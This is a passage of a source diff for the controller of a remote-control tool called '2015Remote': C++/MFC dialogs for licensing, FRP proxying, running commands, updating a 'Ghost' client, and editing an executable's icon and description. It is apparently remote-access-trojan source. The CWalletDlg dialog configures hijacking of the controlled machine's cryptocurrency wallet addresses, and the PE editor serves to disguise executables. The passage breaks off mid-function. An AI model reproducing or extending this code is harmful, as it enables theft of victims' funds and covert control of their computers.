friend class CHeaderCtrlEx; // 允许 CHeaderCtrlEx 访问 protected 成员
|
||||
|
||||
public:
|
||||
CListCtrlEx();
|
||||
virtual ~CListCtrlEx();
|
||||
|
||||
// 控制是否跳过背景擦除(减少闪烁)
|
||||
void SetSkipEraseBkgnd(BOOL bSkip) { m_bSkipEraseBkgnd = bSkip; }
|
||||
|
||||
// RAII 辅助类:临时允许背景擦除,析构时自动恢复
|
||||
class ScopedEraseBkgnd {
|
||||
CListCtrlEx& m_list;
|
||||
public:
|
||||
ScopedEraseBkgnd(CListCtrlEx& list) : m_list(list) { m_list.SetSkipEraseBkgnd(FALSE); }
|
||||
~ScopedEraseBkgnd() { m_list.SetSkipEraseBkgnd(TRUE); }
|
||||
};
|
||||
|
||||
// 设置配置键名(用于区分不同列表的配置,如 "ClientList", "FileList")
|
||||
void SetConfigKey(const CString& strKey);
|
||||
|
||||
// 添加列(替代 InsertColumnL)
|
||||
// nCol: 列索引
|
||||
// lpszColumnHeading: 列标题
|
||||
// nFormat: 对齐方式,默认左对齐
|
||||
// nWidth: 列宽
|
||||
// bCanHide: 是否允许隐藏,默认允许
|
||||
int AddColumn(int nCol, LPCTSTR lpszColumnHeading, int nWidth, int nFormat = LVCFMT_LEFT, BOOL bCanHide = TRUE);
|
||||
|
||||
// 初始化完成后调用,计算百分比并加载配置
|
||||
void InitColumns();
|
||||
|
||||
// 调整列宽(窗口大小改变时调用)
|
||||
void AdjustColumnWidths();
|
||||
|
||||
// 获取列是否可见
|
||||
BOOL IsColumnVisible(int nCol) const;
|
||||
|
||||
// 设置列可见性
|
||||
void SetColumnVisible(int nCol, BOOL bVisible);
|
||||
|
||||
// 设置虚拟列表模式(必须在窗口创建前调用,或在 DoDataExchange 中调用)
|
||||
void SetVirtualMode(BOOL bVirtual = TRUE) { m_bVirtualMode = bVirtual; }
|
||||
BOOL IsVirtualMode() const { return m_bVirtualMode; }
|
||||
|
||||
// 虚拟列表专用:设置项目数量(绕过 MFC 的 ASSERT)
|
||||
BOOL SetItemCountExV(int iCount, DWORD dwFlags = LVSICF_NOINVALIDATEALL) {
|
||||
ASSERT(m_bVirtualMode); // 仅虚拟列表模式可用
|
||||
return (BOOL)::SendMessage(m_hWnd, LVM_SETITEMCOUNT, (WPARAM)iCount, (LPARAM)dwFlags);
|
||||
}
|
||||
|
||||
protected:
|
||||
virtual void PreSubclassWindow() override;
|
||||
std::vector<ColumnInfoEx> m_Columns; // 列信息
|
||||
CString m_strConfigKey; // 配置键名
|
||||
CHeaderCtrlEx m_HeaderCtrl; // 子类化的 Header 控件
|
||||
BOOL m_bSkipEraseBkgnd = TRUE; // 是否跳过背景擦除
|
||||
BOOL m_bVirtualMode = FALSE; // 是否虚拟列表模式
|
||||
|
||||
void ShowColumnContextMenu(CPoint pt);
|
||||
void ToggleColumnVisibility(int nColumn);
|
||||
void LoadColumnVisibility();
|
||||
void SaveColumnVisibility();
|
||||
void SubclassHeader(); // 子类化 Header 控件
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
afx_msg void OnContextMenu(CWnd* pWnd, CPoint pt);
|
||||
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
|
||||
};
|
||||
1211
server/2015Remote/CPasswordDlg.cpp
Normal file
1211
server/2015Remote/CPasswordDlg.cpp
Normal file
File diff suppressed because it is too large
Load Diff
168
server/2015Remote/CPasswordDlg.h
Normal file
168
server/2015Remote/CPasswordDlg.h
Normal file
@@ -0,0 +1,168 @@
|
||||
#pragma once
|
||||
|
||||
#include <afx.h>
|
||||
#include <afxwin.h>
|
||||
#include "Resource.h"
|
||||
#include "common/commands.h"
|
||||
#include "LangManager.h"
|
||||
|
||||
// CPasswordDlg 对话框
|
||||
namespace TcpClient {
|
||||
std::string ObfuscateAuthorization(const std::string& auth);
|
||||
std::string DeobfuscateAuthorization(const std::string& obfuscated);
|
||||
bool IsAuthorizationValid(const std::string& authObfuscated);
|
||||
}
|
||||
|
||||
void WriteHash(const char* pwdHash, const char* upperHash);
|
||||
std::string getUpperHash();
|
||||
std::string GetUpperHash();
|
||||
std::string GetFinderString(const char* buf);
|
||||
|
||||
// 获取密码哈希值
|
||||
std::string GetPwdHash();
|
||||
|
||||
const Validation* GetValidation(int offset=100);
|
||||
|
||||
std::string GetMasterId();
|
||||
|
||||
std::string GetHMAC(int offset=100);
|
||||
|
||||
void SetHMAC(const std::string str, int offset=100);
|
||||
|
||||
bool IsPwdHashValid(const char* pwdHash = nullptr);
|
||||
|
||||
bool WritePwdHash(char* target, const std::string& pwdHash, const Validation &verify);
|
||||
|
||||
class CPasswordDlg : public CDialogLangEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CPasswordDlg)
|
||||
|
||||
public:
|
||||
CPasswordDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CPasswordDlg();
|
||||
|
||||
enum { IDD = IDD_DIALOG_PASSWORD };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
HICON m_hIcon;
|
||||
CEdit m_EditDeviceID;
|
||||
CEdit m_EditPassword;
|
||||
CString m_sDeviceID;
|
||||
CString m_sPassword;
|
||||
virtual BOOL OnInitDialog();
|
||||
CComboBox m_ComboBinding;
|
||||
afx_msg void OnCbnSelchangeComboBind();
|
||||
CEdit m_EditPasscodeHmac;
|
||||
CString m_sPasscodeHmac;
|
||||
CEdit m_EditRootCert;
|
||||
CString m_sRootCert;
|
||||
int m_nBindType;
|
||||
virtual void OnOK();
|
||||
};
|
||||
|
||||
|
||||
// 授权信息保存辅助函数
|
||||
std::string GetLicensesPath();
|
||||
bool SaveLicenseInfo(const std::string& deviceID, const std::string& passcode,
|
||||
const std::string& hmac, const std::string& remark = "",
|
||||
const std::string& authorization = "",
|
||||
const std::string& frpConfig = "");
|
||||
bool LoadLicenseInfo(const std::string& deviceID, std::string& passcode,
|
||||
std::string& hmac, std::string& remark);
|
||||
// 加载授权的 FRP 配置
|
||||
std::string LoadLicenseFrpConfig(const std::string& deviceID);
|
||||
// 加载授权的 Authorization(用于 V2 授权返回给第一层)
|
||||
std::string LoadLicenseAuthorization(const std::string& deviceID);
|
||||
// 更新授权的 Authorization(V2 续期时更新)
|
||||
// authorization: 混淆后的 Authorization 字符串
|
||||
bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string& authorization);
|
||||
// 更新授权活跃信息(IP、位置、最后活跃时间)
|
||||
// 如果授权不存在则自动创建记录
|
||||
// machineName: 机器名,用于区分同一公网IP下的不同机器
|
||||
bool UpdateLicenseActivity(const std::string& deviceID, const std::string& passcode,
|
||||
const std::string& hmac, const std::string& ip = "",
|
||||
const std::string& location = "", const std::string& machineName = "");
|
||||
// 检查授权是否已被撤销
|
||||
bool IsLicenseRevoked(const std::string& deviceID);
|
||||
|
||||
// 构建 V1 Authorization(第一层/下级返回给下级)
|
||||
// sn: 用于日志输出的设备标识
|
||||
// 返回混淆后的 Authorization,失败返回空字符串
|
||||
std::string BuildV1Authorization(const std::string& sn = "", bool heartbeat = false);
|
||||
|
||||
class CPwdGenDlg : public CDialogLangEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CPwdGenDlg)
|
||||
|
||||
public:
|
||||
CPwdGenDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CPwdGenDlg();
|
||||
|
||||
enum {
|
||||
IDD = IDD_DIALOG_KEYGEN
|
||||
};
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
HICON m_hIcon;
|
||||
CEdit m_EditDeviceID;
|
||||
CEdit m_EditPassword;
|
||||
CEdit m_EditUserPwd;
|
||||
CString m_sDeviceID;
|
||||
CString m_sPassword;
|
||||
CString m_sUserPwd;
|
||||
afx_msg void OnBnClickedButtonGenkey();
|
||||
afx_msg void OnBnClickedButtonSaveLicense();
|
||||
CDateTimeCtrl m_PwdExpireDate;
|
||||
COleDateTime m_ExpireTm;
|
||||
CDateTimeCtrl m_StartDate;
|
||||
COleDateTime m_StartTm;
|
||||
virtual BOOL OnInitDialog();
|
||||
CEdit m_EditHostNum;
|
||||
int m_nHostNum;
|
||||
CEdit m_EditHMAC;
|
||||
CButton m_BtnSaveLicense;
|
||||
BOOL m_bIsLocalDevice; // 是否为本机授权
|
||||
CString m_sHMAC; // HMAC 值
|
||||
CEdit m_EditAuthorization; // 多层授权显示框
|
||||
CString m_sAuthorization; // 多层授权: Authorization 字段
|
||||
|
||||
// V2 Authorization 下级并发数限制
|
||||
CEdit m_EditAuthHostNum; // 下级并发数输入框
|
||||
int m_nAuthHostNum; // 下级并发数值
|
||||
BOOL m_bAuthHostNumManual; // 是否手动修改过
|
||||
|
||||
afx_msg void OnEnChangeEditHostNum(); // 连接数变化时同步
|
||||
afx_msg void OnEnChangeEditAuthHostNum(); // 下级并发数手动修改
|
||||
|
||||
// V2 授权相关
|
||||
CComboBox m_ComboVersion; // 版本选择下拉框
|
||||
CEdit m_EditPrivateKey; // 私钥文件路径
|
||||
CButton m_BtnBrowseKey; // 浏览私钥文件按钮
|
||||
CButton m_BtnGenKeyPair; // 生成密钥对按钮
|
||||
int m_nVersion; // 0=V1(HMAC), 1=V2(ECDSA)
|
||||
CString m_sPrivateKeyPath; // 私钥文件路径
|
||||
|
||||
afx_msg void OnCbnSelchangeComboVersion(); // 版本切换事件
|
||||
afx_msg void OnBnClickedButtonBrowseKey(); // 浏览私钥文件事件
|
||||
afx_msg void OnBnClickedButtonGenKeypair(); // 生成密钥对事件
|
||||
|
||||
// FRP 代理相关
|
||||
CButton m_CheckFrpProxy; // FRP 代理复选框
|
||||
CEdit m_EditFrpRemotePort; // FRP 远程端口
|
||||
CButton m_BtnFrpAutoPort; // 自动分配端口按钮
|
||||
CStatic m_StaticFrpInfo; // FRPS 信息显示
|
||||
int m_nFrpRemotePort; // FRP 远程端口值
|
||||
std::string m_sFrpConfig; // 生成的 FRP 配置字符串
|
||||
|
||||
afx_msg void OnBnClickedCheckFrpProxy(); // FRP 复选框点击
|
||||
afx_msg void OnBnClickedBtnFrpAutoPort(); // 自动分配端口按钮
|
||||
void UpdateFrpControlStates(); // 更新 FRP 控件状态
|
||||
};
|
||||
141
server/2015Remote/CRcEditDlg.cpp
Normal file
141
server/2015Remote/CRcEditDlg.cpp
Normal file
@@ -0,0 +1,141 @@
|
||||
// CRcEditDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "CRcEditDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "Resource.h"
|
||||
|
||||
|
||||
// CRcEditDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CRcEditDlg, CDialogEx)
|
||||
|
||||
CRcEditDlg::CRcEditDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogLangEx(IDD_DIALOG_RCEDIT, pParent)
|
||||
, m_sExePath(_T(""))
|
||||
, m_sIcoPath(_T(""))
|
||||
, m_sProcessDesc(_T(""))
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CRcEditDlg::~CRcEditDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CRcEditDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT_EXE_FILE, m_EditExe);
|
||||
DDX_Control(pDX, IDC_EDIT_ICO_FILE, m_EditIco);
|
||||
DDX_Text(pDX, IDC_EDIT_EXE_FILE, m_sExePath);
|
||||
DDV_MaxChars(pDX, m_sExePath, 256);
|
||||
DDX_Text(pDX, IDC_EDIT_ICO_FILE, m_sIcoPath);
|
||||
DDV_MaxChars(pDX, m_sIcoPath, 256);
|
||||
DDX_Control(pDX, IDC_EDIT_PROCESS_DESC, m_EditProcessDesc);
|
||||
DDX_Text(pDX, IDC_EDIT_PROCESS_DESC, m_sProcessDesc);
|
||||
DDV_MaxChars(pDX, m_sProcessDesc, 135);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CRcEditDlg, CDialogEx)
|
||||
ON_BN_CLICKED(IDC_BTN_SELECT_EXE, &CRcEditDlg::OnBnClickedBtnSelectExe)
|
||||
ON_BN_CLICKED(IDC_BTN_SELECT_ICO, &CRcEditDlg::OnBnClickedBtnSelectIco)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CRcEditDlg 消息处理程序
|
||||
|
||||
|
||||
BOOL CRcEditDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
// 多语言翻译 - Static控件
|
||||
SetDlgItemText(IDC_STATIC_RCEDIT_TIP, _TR("提示: 替换完成后,请刷新程序进行查看;如若未成功,请更换图标重试。"));
|
||||
SetDlgItemText(IDC_STATIC_RCEDIT_DESC, _TR("进程描述:"));
|
||||
|
||||
// 设置对话框标题和控件文本(解决英语系统乱码问题)
|
||||
SetWindowText(_TR("PE 编辑"));
|
||||
SetDlgItemText(IDC_BTN_SELECT_EXE, _TR("目标程序"));
|
||||
SetDlgItemText(IDC_BTN_SELECT_ICO, _TR("图标文件"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
|
||||
void CRcEditDlg::OnOK()
|
||||
{
|
||||
if (m_sExePath.IsEmpty()) {
|
||||
MessageBoxL("请选择目标应用程序!", "提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
m_EditProcessDesc.GetWindowTextA(m_sProcessDesc);
|
||||
if (m_sIcoPath.IsEmpty() && m_sProcessDesc.IsEmpty()) {
|
||||
MessageBoxL("请选择[*.ico]图标文件或输入进程描述!", "提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
std::string ReleaseEXE(int resID, const char* name);
|
||||
int run_cmd(std::string cmdLine);
|
||||
|
||||
std::string rcedit = ReleaseEXE(IDR_BIN_RCEDIT, "rcedit.exe");
|
||||
if (rcedit.empty()) {
|
||||
MessageBoxL("解压程序失败,无法操作PE!", "提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
std::string exe = m_sExePath.GetString();
|
||||
std::string icon = m_sIcoPath.GetString();
|
||||
std::string desc = m_sProcessDesc.GetString();
|
||||
std::string cmdLine = "\"" + rcedit + "\" \"" + exe + "\"";
|
||||
if (!icon.empty())
|
||||
cmdLine += " --set-icon \"" + icon + "\"";
|
||||
if (!desc.empty())
|
||||
cmdLine += " --set-version-string \"FileDescription\" \"" + desc + "\"";
|
||||
int result = run_cmd(cmdLine);
|
||||
if (result) {
|
||||
MessageBoxL(_TR("PE 操作失败,错误代码: ") + std::to_string(result).c_str(),
|
||||
"提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
__super::OnOK();
|
||||
}
|
||||
|
||||
|
||||
void CRcEditDlg::OnBnClickedBtnSelectExe()
|
||||
{
|
||||
CFileDialog fileDlg(TRUE, _T("exe"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
|
||||
_T("EXE Files (*.exe)|*.exe|All Files (*.*)|*.*||"), AfxGetMainWnd());
|
||||
int ret = 0;
|
||||
try {
|
||||
ret = fileDlg.DoModal();
|
||||
} catch (...) {
|
||||
MessageBoxL("文件对话框未成功打开! 请稍后再试。", "提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
if (ret == IDOK) {
|
||||
m_sExePath = fileDlg.GetPathName();
|
||||
m_EditExe.SetWindowTextA(m_sExePath);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CRcEditDlg::OnBnClickedBtnSelectIco()
|
||||
{
|
||||
CFileDialog fileDlg(TRUE, _T("ico"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
|
||||
_T("ICO Files (*.ico)|*.ico|All Files (*.*)|*.*||"), AfxGetMainWnd());
|
||||
int ret = 0;
|
||||
try {
|
||||
ret = fileDlg.DoModal();
|
||||
} catch (...) {
|
||||
MessageBoxL("文件对话框未成功打开! 请稍后再试。", "提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
if (ret == IDOK) {
|
||||
m_sIcoPath = fileDlg.GetPathName();
|
||||
m_EditIco.SetWindowTextA(m_sIcoPath);
|
||||
}
|
||||
}
|
||||
37
server/2015Remote/CRcEditDlg.h
Normal file
37
server/2015Remote/CRcEditDlg.h
Normal file
@@ -0,0 +1,37 @@
|
||||
#pragma once
|
||||
|
||||
#include <afx.h>
|
||||
#include <afxwin.h>
|
||||
#include "LangManager.h"
|
||||
|
||||
// CRcEditDlg 对话框
|
||||
|
||||
class CRcEditDlg : public CDialogLangEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CRcEditDlg)
|
||||
|
||||
public:
|
||||
CRcEditDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CRcEditDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DIALOG_RCEDIT };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CEdit m_EditExe;
|
||||
CEdit m_EditIco;
|
||||
CString m_sExePath;
|
||||
CString m_sIcoPath;
|
||||
virtual BOOL OnInitDialog();
|
||||
virtual void OnOK();
|
||||
afx_msg void OnBnClickedBtnSelectExe();
|
||||
afx_msg void OnBnClickedBtnSelectIco();
|
||||
CEdit m_EditProcessDesc;
|
||||
CString m_sProcessDesc;
|
||||
};
|
||||
67
server/2015Remote/CTextDlg.cpp
Normal file
67
server/2015Remote/CTextDlg.cpp
Normal file
@@ -0,0 +1,67 @@
|
||||
// CTextDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "CTextDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
// CTextDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CTextDlg, CDialog)
|
||||
|
||||
CTextDlg::CTextDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogLang(IDD_TEXT, pParent)
|
||||
, nowstr(_T(""))
|
||||
, cmeline(_T(""))
|
||||
, oldstr(_T(""))
|
||||
{
|
||||
}
|
||||
|
||||
CTextDlg::~CTextDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CTextDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Text(pDX, IDC_EDIT1, oldstr);
|
||||
DDX_Text(pDX, IDC_EDIT2, nowstr);
|
||||
DDX_Text(pDX, IDC_EDIT3, cmeline);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CTextDlg, CDialog)
|
||||
ON_BN_CLICKED(IDOK, &CTextDlg::OnBnClickedOk)
|
||||
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CTextDlg 消息处理程序
|
||||
|
||||
BOOL CTextDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
// 多语言翻译 - Static控件
|
||||
SetDlgItemText(IDC_STATIC_TEXT_SRC_DIR, _TR("原目录"));
|
||||
SetDlgItemText(IDC_STATIC_TEXT_DST_DIR, _TR("现目录"));
|
||||
SetDlgItemText(IDC_STATIC_TEXT_CMD, _TR("命令"));
|
||||
|
||||
// 设置对话框标题和控件文本(解决英语系统乱码问题)
|
||||
SetWindowText(_TR("拷贝目录-运行命令"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
void CTextDlg::OnBnClickedOk()
|
||||
{
|
||||
UpdateData(TRUE);
|
||||
__super::OnOK();
|
||||
}
|
||||
28
server/2015Remote/CTextDlg.h
Normal file
28
server/2015Remote/CTextDlg.h
Normal file
@@ -0,0 +1,28 @@
|
||||
#pragma once
|
||||
#include "LangManager.h"
|
||||
|
||||
// CTextDlg 对话框
|
||||
|
||||
class CTextDlg : public CDialogLang
|
||||
{
|
||||
DECLARE_DYNAMIC(CTextDlg)
|
||||
|
||||
public:
|
||||
CTextDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CTextDlg();
|
||||
CString oldstr;
|
||||
CString nowstr;
|
||||
CString cmeline;
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_TEXT };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnBnClickedOk();
|
||||
};
|
||||
55
server/2015Remote/CUpdateDlg.cpp
Normal file
55
server/2015Remote/CUpdateDlg.cpp
Normal file
@@ -0,0 +1,55 @@
|
||||
// CUpdateDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "CUpdateDlg.h"
|
||||
#include "resource.h"
|
||||
|
||||
// CUpdateDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CUpdateDlg, CDialogEx)
|
||||
|
||||
CUpdateDlg::CUpdateDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogLangEx(IDD_DIALOG_UPDATE, pParent)
|
||||
, m_nSelected(0)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CUpdateDlg::~CUpdateDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CUpdateDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_COMBO_UPDATE_SELECT, m_ComboUpdateSelect);
|
||||
DDX_CBIndex(pDX, IDC_COMBO_UPDATE_SELECT, m_nSelected);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CUpdateDlg, CDialogEx)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CUpdateDlg 消息处理程序
|
||||
|
||||
BOOL CUpdateDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
// 多语言翻译 - Static控件
|
||||
SetDlgItemText(IDC_STATIC_UPDATE_TYPE, _TR("目标程序类型:"));
|
||||
|
||||
// 设置对话框标题和控件文本(解决英语系统乱码问题)
|
||||
SetWindowText(_TR("升级程序"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
m_ComboUpdateSelect.InsertStringL(0, _T("TestRun"));
|
||||
m_ComboUpdateSelect.InsertStringL(1, _T("Ghost"));
|
||||
m_ComboUpdateSelect.SetCurSel(1);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
28
server/2015Remote/CUpdateDlg.h
Normal file
28
server/2015Remote/CUpdateDlg.h
Normal file
@@ -0,0 +1,28 @@
|
||||
#pragma once
|
||||
#include "afxdialogex.h"
|
||||
#include "LangManager.h"
|
||||
|
||||
// CUpdateDlg 对话框
|
||||
|
||||
class CUpdateDlg : public CDialogLangEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CUpdateDlg)
|
||||
|
||||
public:
|
||||
CUpdateDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CUpdateDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DIALOG_UPDATE };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CComboBox m_ComboUpdateSelect;
|
||||
virtual BOOL OnInitDialog();
|
||||
int m_nSelected;
|
||||
};
|
||||
118
server/2015Remote/CWalletDlg.cpp
Normal file
118
server/2015Remote/CWalletDlg.cpp
Normal file
@@ -0,0 +1,118 @@
|
||||
// CWalletDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "CWalletDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "Resource.h"
|
||||
#include "wallet.h"
|
||||
|
||||
|
||||
// CWalletDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CWalletDlg, CDialogEx)
|
||||
|
||||
CWalletDlg::CWalletDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogLangEx(IDD_DIALOG_WALLET, pParent)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CWalletDlg::~CWalletDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CWalletDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT_WALLET_BTC, m_EditBTC);
|
||||
DDX_Control(pDX, IDC_EDIT_WALLET_ERC20, m_EditERC20);
|
||||
DDX_Control(pDX, IDC_EDIT_WALLET_OMNI, m_EditOMNI);
|
||||
DDX_Control(pDX, IDC_EDIT_WALLET_TRC20, m_EditTRC20);
|
||||
DDX_Control(pDX, IDC_EDIT_WALLET_SOL, m_EditSOL);
|
||||
DDX_Control(pDX, IDC_EDIT_WALLET_XRP, m_EditXRP);
|
||||
DDX_Control(pDX, IDC_EDIT_WALLET_ADA, m_EditADA);
|
||||
DDX_Control(pDX, IDC_EDIT_WALLET_DOGE, m_EditDOGE);
|
||||
DDX_Control(pDX, IDC_EDIT_WALLET_DOT, m_EditDOT);
|
||||
DDX_Control(pDX, IDC_EDIT_WALLET_TRON, m_EditTRON);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CWalletDlg, CDialogEx)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CWalletDlg 消息处理程序
|
||||
|
||||
|
||||
BOOL CWalletDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
// 多语言翻译 - Static控件
|
||||
SetDlgItemText(IDC_STATIC_WALLET_BTC, _TR("比特币 (BTC):"));
|
||||
SetDlgItemText(IDC_STATIC_WALLET_ETHERC20_2394, _TR("ETH-ERC20:"));
|
||||
SetDlgItemText(IDC_STATIC_WALLET_USDTOMNI_2395, _TR("USDT-OMNI:"));
|
||||
SetDlgItemText(IDC_STATIC_WALLET_USDTTRC20_2396, _TR("USDT-TRC20:"));
|
||||
SetDlgItemText(IDC_STATIC_WALLET_TRON_2397, _TR("TRON:"));
|
||||
SetDlgItemText(IDC_STATIC_WALLET_Polkadot_2398, _TR("Polkadot:"));
|
||||
SetDlgItemText(IDC_STATIC_WALLET_ADA_2399, _TR("ADA:"));
|
||||
SetDlgItemText(IDC_STATIC_WALLET_Dogecoin_2400, _TR("Dogecoin:"));
|
||||
SetDlgItemText(IDC_STATIC_WALLET_XRP_2401, _TR("XRP:"));
|
||||
SetDlgItemText(IDC_STATIC_WALLET_Solana_2402, _TR("Solana:"));
|
||||
SetDlgItemText(IDC_STATIC_WALLET_TIP, _TR("提示信息: 劫持并替换被控端钱包地址;总字符数最多是470,只填写所需的地址,不需要全部填满。"));
|
||||
SetDlgItemText(IDC_STATIC_WALLET_WARNING, _TR("警告信息: 此功能仅用于开源项目之研究,用户自行承担后果,不得用于非法目的。"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
|
||||
auto a = StringToVector(m_str.GetString(), ';', MAX_WALLET_NUM);
|
||||
m_EditBTC.SetWindowTextA(a[ADDR_BTC].c_str());
|
||||
m_EditERC20.SetWindowTextA(a[ADDR_ERC20].c_str());
|
||||
m_EditOMNI.SetWindowTextA(a[ADDR_OMNI].c_str());
|
||||
m_EditTRC20.SetWindowTextA(a[ADDR_TRC20].c_str());
|
||||
m_EditSOL.SetWindowTextA(a[ADDR_SOL].c_str());
|
||||
m_EditXRP.SetWindowTextA(a[ADDR_XRP].c_str());
|
||||
m_EditADA.SetWindowTextA(a[ADDR_ADA].c_str());
|
||||
m_EditDOGE.SetWindowTextA(a[ADDR_DOGE].c_str());
|
||||
m_EditDOT.SetWindowTextA(a[ADDR_DOT].c_str());
|
||||
m_EditTRON.SetWindowTextA(a[ADDR_TRON].c_str());
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
CString JoinCStringArray(const CString arr[], int size, TCHAR delimiter)
|
||||
{
|
||||
CString result;
|
||||
for (int i = 0; i < size; ++i) {
|
||||
result += arr[i];
|
||||
if (i != size - 1)
|
||||
result += delimiter;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
void CWalletDlg::OnOK()
|
||||
{
|
||||
CString a[MAX_WALLET_NUM];
|
||||
m_EditBTC.GetWindowTextA(a[ADDR_BTC]);
|
||||
m_EditERC20.GetWindowTextA(a[ADDR_ERC20]);
|
||||
m_EditOMNI.GetWindowTextA(a[ADDR_OMNI]);
|
||||
m_EditTRC20.GetWindowTextA(a[ADDR_TRC20]);
|
||||
m_EditSOL.GetWindowTextA(a[ADDR_SOL]);
|
||||
m_EditXRP.GetWindowTextA(a[ADDR_XRP]);
|
